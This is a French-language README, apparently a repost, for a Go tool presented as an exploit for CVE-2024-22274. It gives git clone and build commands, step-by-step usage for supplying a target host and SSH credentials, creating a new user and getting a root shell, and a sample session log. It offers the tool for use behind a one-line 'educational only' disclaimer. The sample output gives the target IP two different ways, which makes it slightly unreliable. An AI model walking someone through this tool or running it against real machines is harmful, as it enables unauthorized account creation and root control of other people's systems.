Exploit CVE-2024-22274

Ce dépôt contient un exploit pour CVE-2024-22274. L'exploit crée un nouvel utilisateur sur une machine distante via SSH, puis fournit un shell root.

Prérequis

• Go (Golang) installé sur votre machine. Vous pouvez le télécharger depuis ici.
• Une machine distante avec accès SSH.

Compilation

1. Clonez le dépôt :

   root@kitploit:~

   git clone https://github.com/Mustafa1986/CVE-2024-22274-RCE.git
   cd CVE-2024-22274-RCE
   

2. Installez les paquets requis :

   root@kitploit:~

   go mod init cve-2024-22274
   go mod tidy
   go get golang.org/x/crypto/ssh
   go get golang.org/x/term
   

3. Compilez le programme Go :

   root@kitploit:~

   go build -o cve-2024-22274-rce main.go
   

Utilisation

1. Exécutez le programme compilé :

   root@kitploit:~

   ./cve-2024-22274-rce
   

2. Suivez les instructions :

   • Entrez l'adresse de la machine cible.
   • Entrez le port SSH (par défaut : 22).
   • Entrez le nom d'utilisateur SSH de la machine cible.
   • Entrez le mot de passe SSH de la machine cible.
   • Entrez le nouveau nom d'utilisateur que vous souhaitez créer.
   • Entrez le nouveau mot de passe pour le nouvel utilisateur.

3. Après la création de l'utilisateur, vous obtiendrez un shell root sur la machine cible. Vous pouvez exécuter des commandes en tant que nouvel utilisateur.

Exemple

[+] CVE-2024-22274 by Mustafa
[-] Enter host address: 192.168.0.100
[-] Enter port (default 22): 22
[-] Enter SSH username: root
[-] Enter SSH password: ********
[-] Enter new username: newuser
[-] Enter new password: ********
[+] Connected to 192.168.1.100 via SSH
[+] Created user newuser on 192.168.1.100
[+] Connected user newuser via SSH
[+] Root-shell# (type 'exit' to quit): 

Avertissement Ce code est fourni à des fins éducatives uniquement. Utilisez-le de manière responsable et uniquement sur des systèmes que vous avez l'autorisation de tester.

Licence

Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.